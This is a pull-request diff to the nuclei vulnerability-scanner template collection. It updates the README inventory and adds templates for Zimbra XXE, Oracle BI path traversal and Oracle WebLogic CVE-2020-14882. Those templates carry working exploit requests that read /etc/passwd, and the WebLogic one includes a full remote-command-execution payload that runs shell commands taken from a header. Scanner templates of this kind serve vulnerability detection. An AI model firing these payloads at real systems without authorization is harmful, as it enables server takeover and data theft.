Merge pull request #599 from dwisiswant0/fix/CVE-2020-14882

Update CVE-2020-14882 payload & with positive matchers

README.md

@@ -10,7 +10,7 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 
 An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 
 
-### nuclei templates `v7.1.2`
+### nuclei templates `v7.2.0`
 
 | Template Directory      	| Number of Templates      |
 |---------------------------|--------------------------|
@@ -28,7 +28,7 @@ An overview of the nuclei template directory including number of templates and H
 | vulnerabilities           |33          			   |
 | workflows                 |15              		   |
 
-### nuclei templates `v7.1.2` tree overview 
+### nuclei templates `v7.2.0` tree overview 
 
 <details>
 <summary>Template Directory</summary>
@@ -36,6 +36,7 @@ An overview of the nuclei template directory including number of templates and H
 ```
 ├── cves
 │   ├── CVE-2005-2428.yaml
+│   ├── CVE-2013-2251.yaml
 │   ├── CVE-2014-6271.yaml
 │   ├── CVE-2017-10075.yaml
 │   ├── CVE-2017-11444.yaml
@@ -43,7 +44,6 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2017-14849.yaml
 │   ├── CVE-2017-5638.yaml
 │   ├── CVE-2017-7391.yaml
-│   ├── CVE-2017-7529.yaml
 │   ├── CVE-2017-7615.yaml
 │   ├── CVE-2017-9506.yaml
 │   ├── CVE-2017-9841.yaml
@@ -96,6 +96,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2019-19781.yaml
 │   ├── CVE-2019-19908.yaml
 │   ├── CVE-2019-19985.yaml
+│   ├── CVE-2019-20141.yaml
 │   ├── CVE-2019-2588.yaml
 │   ├── CVE-2019-2725.yaml
 │   ├── CVE-2019-3396.yaml
@@ -118,16 +119,15 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-12116.yaml
 │   ├── CVE-2020-12720.yaml
 │   ├── CVE-2020-13167.yaml
-│   ├── CVE-2020-13379.yaml
 │   ├── CVE-2020-14179.yaml
 │   ├── CVE-2020-14181.yaml
 │   ├── CVE-2020-15129.yaml
 │   ├── CVE-2020-15505.yaml
 │   ├── CVE-2020-15920.yaml
 │   ├── CVE-2020-16139.yaml
+│   ├── CVE-2020-16952.yaml
 │   ├── CVE-2020-17505.yaml
 │   ├── CVE-2020-17506.yaml
-│   ├── CVE-2020-2034.yaml
 │   ├── CVE-2020-2096.yaml
 │   ├── CVE-2020-2140.yaml
 │   ├── CVE-2020-24223.yaml
@@ -155,6 +155,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-8512.yaml
 │   ├── CVE-2020-8982.yaml
 │   ├── CVE-2020-9047.yaml
+│   ├── CVE-2020-9344.yaml
 │   ├── CVE-2020-9484.yaml
 │   ├── CVE-2020-9496.yaml
 │   ├── CVE-2020-9757.yaml
@@ -179,6 +180,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── drupal-install.yaml
 │   ├── ds_store.yaml
 │   ├── elasticsearch.yaml
+│   ├── elmah-log-file.yaml
 │   ├── error-logs.yaml
 │   ├── exposed-kibana.yaml
 │   ├── exposed-svn.yaml
@@ -190,6 +192,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── jolokia.yaml
 │   ├── laravel-env.yaml
 │   ├── lazy-file.yaml
+│   ├── magento-config.yaml
 │   ├── ntlm-directories.yaml
 │   ├── php-errors.yaml
 │   ├── phpinfo.yaml
@@ -216,7 +219,8 @@ An overview of the nuclei template directory including number of templates and H
 │   └── zip-backup-files.yaml
 ├── fuzzing
 │   ├── arbitrary-file-read.yaml
-│   └── directory-traversal.yaml
+│   ├── directory-traversal.yaml
+│   └── generic-lfi-fuzzing.yaml
 ├── generic-detections
 │   ├── basic-xss-prober.yaml
 │   ├── general-tokens.yaml
@@ -238,12 +242,11 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── jenkins-asyncpeople.yaml
 │   ├── jmx-console.yaml
 │   ├── kubernetes-pods.yaml
+│   ├── manage-engine-admanager-panel.yaml
 │   ├── mobileiron-login.yaml
-│   ├── mongo-express-web-gui.yaml
 │   ├── netscaler-gateway.yaml
 │   ├── network-camera-detect.yaml
 │   ├── parallels-html-client.yaml
-│   ├── pfsense-web-gui.yaml
 │   ├── phpmyadmin-panel.yaml
 │   ├── polycom-admin-detect.yaml
 │   ├── pulse-secure-panel.yaml
@@ -251,16 +254,18 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── sap-netweaver-detect.yaml
 │   ├── sap-recon-detect.yaml
 │   ├── sonarqube-login.yaml
+│   ├── sonicwall-management-panel.yaml
+│   ├── sonicwall-sslvpn-panel.yaml
 │   ├── sophos-fw-version-detect.yaml
 │   ├── supervpn-panel.yaml
 │   ├── swagger-panel.yaml
 │   ├── tikiwiki-cms.yaml
-│   ├── traefik-dashboard
 │   ├── traefik-dashboard.yaml
 │   ├── virtual-ema-detect.yaml
 │   ├── weave-scope-dashboard-detect.yaml
 │   ├── webeditors.yaml
-│   └── workspaceone-uem-airWatch-dashboard-detect.yaml
+│   ├── workspace-one-uem.yaml
+│   └── workspaceone-uem-airwatch-dashboard-detect.yaml
 ├── payloads
 │   ├── CVE-2020-5776.csv
 │   └── CVE-2020-6287.xml
@@ -278,11 +283,13 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── jira-unauthenticated-user-picker.yaml
 │   ├── jupyter-ipython-unauth.yaml
 │   ├── larvel-debug.yaml
+│   ├── manage-engine-ad-search.yaml
 │   ├── missing-csp.yaml
 │   ├── missing-hsts.yaml
 │   ├── missing-x-frame-options.yaml
 │   ├── put-method-enabled.yaml
 │   ├── rack-mini-profiler.yaml
+│   ├── salesforce-aura-misconfig.yaml
 │   ├── sidekiq-dashboard.yaml
 │   ├── springboot-detect.yaml
 │   ├── unauthenticated-airflow.yaml
@@ -303,10 +310,12 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── favicon-detection.yaml
 │   ├── github-enterprise-detect.yaml
 │   ├── gitlab-detect.yaml
+│   ├── google-storage.yaml
 │   ├── graphql.yaml
 │   ├── home-assistant.yaml
 │   ├── jaspersoft-detect.yaml
 │   ├── jira-detect.yaml
+│   ├── kong-detect.yaml
 │   ├── liferay-portal-detect.yaml
 │   ├── linkerd-badrule-detect.yaml
 │   ├── linkerd-ssrf-detect.yaml
@@ -314,6 +323,8 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── magmi-detect.yaml
 │   ├── netsweeper-webadmin-detect.yaml
 │   ├── nifi-detech.yaml
+│   ├── oidc-detect.yaml
+│   ├── pi-hole-detect.yaml
 │   ├── prometheus-exporter-detect.yaml
 │   ├── prometheus-exposed-panel.yaml
 │   ├── s3-detect.yaml
@@ -323,10 +334,9 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── sql-server-reporting.yaml
 │   ├── tech-detect.yaml
 │   ├── tomcat-detect.yaml
+│   ├── waf-detect.yaml
 │   ├── weblogic-detect.yaml
-│   ├── werkzeug-debugger-detect.yaml
-│   └── what-waf-detect.yaml
-├── test.yaml
+│   └── werkzeug-debugger-detect.yaml
 ├── tokens
 │   ├── amazon-mws-auth-token-value.yaml
 │   ├── aws-access-key-value.yaml
@@ -337,7 +347,6 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── mailchimp-api-key.yaml
 │   └── slack-access-token.yaml
 ├── vulnerabilities
-│   ├── Symantec-Messaging-Gateway.yaml
 │   ├── bullwark-momentum-series-directory-traversal.yaml
 │   ├── cached-aem-pages.yaml
 │   ├── couchdb-adminparty.yaml
@@ -356,20 +365,26 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── pdf-signer-ssti-to-rce.yaml
 │   ├── rce-shellshock-user-agent.yaml
 │   ├── rce-via-java-deserialization.yaml
+│   ├── rconfig-rce.yaml
+│   ├── sassy-social-share.yaml
 │   ├── sick-beard-xss.yaml
 │   ├── springboot-actuators-jolokia-xxe.yaml
 │   ├── springboot-h2-db-rce.yaml
+│   ├── symantec-messaging-gateway.yaml
 │   ├── symfony-debugmode.yaml
 │   ├── tikiwiki-reflected-xss.yaml
 │   ├── tomcat-manager-pathnormalization.yaml
 │   ├── twig-php-ssti.yaml
+│   ├── vmware-vcenter-lfi.yaml
+│   ├── vpms-auth-bypass.yaml
 │   ├── w3c-total-cache-ssrf.yaml
 │   ├── wems-manager-xss.yaml
 │   ├── wordpress-duplicator-path-traversal.yaml
 │   ├── wordpress-emails-verification-for-woocommerce.yaml
 │   ├── wordpress-social-metrics-tracker.yaml
 │   ├── wordpress-wordfence-xss.yaml
-│   └── x-forwarded-host-injection.yaml
+│   ├── wordpress-wpcourses-info-disclosure.yaml
+│   └── zms-auth-bypass.yaml
 └── workflows
     ├── artica-web-proxy-workflow.yaml
     ├── bigip-pwner-workflow.yaml
@@ -390,7 +405,7 @@ An overview of the nuclei template directory including number of templates and H
 
 </details>
 
-14 directories, **338 templates**. 
+14 directories, **352 templates**. 
 
 Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 
 

cves/CVE-2019-9670.yaml

@@ -0,0 +1,31 @@
+id: cve-2019-9670
+
+info:
+  name: Zimbra Collaboration XXE
+  description: "mailboxd component in Synacor Zimbra Collaboration Suite 8.7.x before 8.7.11p10 has an XML External Entity injection (XXE) vulnerability."
+  author: ree4pwn
+  severity: critical
+
+requests:
+  - raw:
+      - |
+        POST /Autodiscover/Autodiscover.xml HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Content-Type: application/xml
+
+        <!DOCTYPE xxe [
+        <!ELEMENT name ANY >
+        <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
+        <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
+        <Request>
+        <EMailAddress>aaaaa</EMailAddress>
+        <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
+        </Request>
+        </Autodiscover>
+
+    matchers:
+      - type: regex
+        regex:
+          - 'root:[x*]:0:0'
+        part: body

cves/CVE-2020-14864.yaml

@@ -0,0 +1,24 @@
+id: CVE-2020-14864
+info:
+  name: 'Oracle Fusion - "getPreviewImage" Directory Traversal/Local File Inclusion'
+  description: 'Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - "getPreviewImage" Directory Traversal/Local File Inclusion'
+  author: Ivo Palazzolo (@palaziv)
+  # cvss: 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N'
+  severity: high
+requests:
+  - method: GET
+    headers:
+      User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+    path:
+      - '{{BaseURL}}/analytics/saw.dll?bieehome&startPage=1' # grab autologin cookies
+      - '{{BaseURL}}/analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd'
+    cookie-reuse: true
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - 'root:[x*]:0:0'
+        part: body

cves/CVE-2020-14882.yaml

@@ -0,0 +1,46 @@
+id: cve-2020-14882
+
+info:
+  name: Oracle WebLogic Server Unauthenticated RCE (and Patch Bypass)
+  author: dwisiswant0
+  severity: critical
+  description: |
+    Vulnerability in the Oracle WebLogic Server
+    product of Oracle Fusion Middleware (component: Console).
+    Supported versions that are affected are 10.3.6.0.0,
+    12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0.
+    Easily exploitable vulnerability allows unauthenticated
+    attacker with network access via HTTP to compromise the server.
+    Successful attacks of this vulnerability can result in takeover.
+
+  # References:
+  # - https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
+  # - https://twitter.com/jas502n/status/1321416053050667009
+  # - https://youtu.be/JFVDOIL0YtA
+  # - https://github.com/jas502n/CVE-2020-14882#eg
+
+requests:
+  - payloads:
+      exec:
+        - "type C:\\Windows\\win.ini"  # Windows
+        - "cat /etc/passwd"  # *nix
+    raw:
+      - |
+        POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
+        Host: {{Hostname}}
+        cmd: exec
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded; charset=utf-8
+
+        _nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession%28%22var%20m%20%3D%20java.lang.Class.forName%28%22weblogic.work.ExecuteThread%22%29.getDeclaredMethod%28%22getCurrentWork%22%29%3B%20var%20currThread%20%3D%20java.lang.Thread.currentThread%28%29%3B%20var%20currWork%20%3D%20m.invoke%28currThread%29%3B%20var%20f2%20%3D%20currWork.getClass%28%29.getDeclaredField%28%22connectionHandler%22%29%3B%20f2.setAccessible%28true%29%3B%20var%20connectionHandler%20%3D%20f2.get%28currWork%29%3B%20var%20f3%20%3D%20connectionHandler.getClass%28%29.getDeclaredField%28%22request%22%29%3B%20f3.setAccessible%28true%29%3B%20var%20request%20%3D%20f3.get%28connectionHandler%29%3B%20var%20command%20%3D%20request.getHeader%28%22cmd%22%29%3B%20var%20response%20%3D%20request.getResponse%28%29%3B%20var%20isWin%20%3D%20java.lang.System.getProperty%28%22os.name%22%29.toLowerCase%28%29.contains%28%22win%22%29%3B%20var%20listCmd%20%3D%20new%20java.util.ArrayList%28%29%3B%20var%20p%20%3D%20new%20java.lang.ProcessBuilder%28%22%22%29%3B%20if%28isWin%29%7Bp.command%28%22cmd.exe%22%2C%20%22%2Fc%22%2C%20command%29%3B%20%7Delse%7Bp.command%28%22%2Fbin%2Fbash%22%2C%20%22-c%22%2C%20command%29%3B%20%7D%20p.redirectErrorStream%28true%29%3B%20var%20process%20%3D%20p.start%28%29%3B%20var%20output%20%3D%20process.getInputStream%28%29%3B%20var%20scanner%20%3D%20new%20java.util.Scanner%28output%29.useDelimiter%28%22%5C%5C%5C%5CA%22%29%3B%20var%20out%20%3D%20scanner.next%28%29%3B%20var%20outputStream%20%3D%20response.getServletOutputStream%28%29%3B%20outputStream.write%28out.getBytes%28%29%29%3B%20outputStream.flush%28%29%3B%20response.getWriter%28%29.write%28%22%22%29%3B%20currThread.interrupt%28%29%3B%22%29
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+          - "\\[(font|extension|file)s\\]"
+        condition: or
+        part: body
+      - type: status
+        status:
+          - 200

files/exposed-svn.yaml

@@ -11,6 +11,7 @@ requests:
       - "{{BaseURL}}/.svn/entries"
       - "{{BaseURL}}/.svn/prop-base/"
       - "{{BaseURL}}/.svn/text-base/"
+
     matchers-condition: and
     matchers:
       - type: regex
@@ -20,3 +21,7 @@ requests:
       - type: status
         status:
           - 200
+
+      - type: dsl
+        dsl:
+          - 'contains(tolower(body), "<html") == false && contains(tolower(body), "</body>") == false'

files/git-config.yaml

@@ -19,7 +19,12 @@ requests:
         Content-Length: 1
         Connection: close
 
+    matchers-condition: and
     matchers:
       - type: word
         words:
-          - "[core]"
+          - "[core]"
+
+      - type: dsl
+        dsl:
+          - 'contains(tolower(body), "<html") == false && contains(tolower(body), "</body>") == false'

files/server-status-localhost.yaml

@@ -2,7 +2,7 @@ id: server-status-localhost
 
 info:
   name: Server Status Disclosure
-  author: bauthard
+  author: bauthard & geeknik
   severity: low
 
 requests:
@@ -14,6 +14,8 @@ requests:
       X-Remote-Addr: "127.0.0.1"
       X-Forwarded-For: "127.0.0.1"
       X-Originating-IP: "127.0.0.1"
+      X-Host: "127.0.0.1"
+      X-Forwarded-Host: "127.0.0.1"
     path:
       - "{{BaseURL}}/server-status"
     matchers:

panels/globalprotect-panel.yaml

@@ -9,7 +9,11 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/global-protect/login.esp"
+      - "{{BaseURL}}/sslmgr"
+
     matchers:
       - type: word
         words:
           - "<title>GlobalProtect Portal</TITLE>"
+          - "<msg>Invalid parameters</msg>"
+        condition: or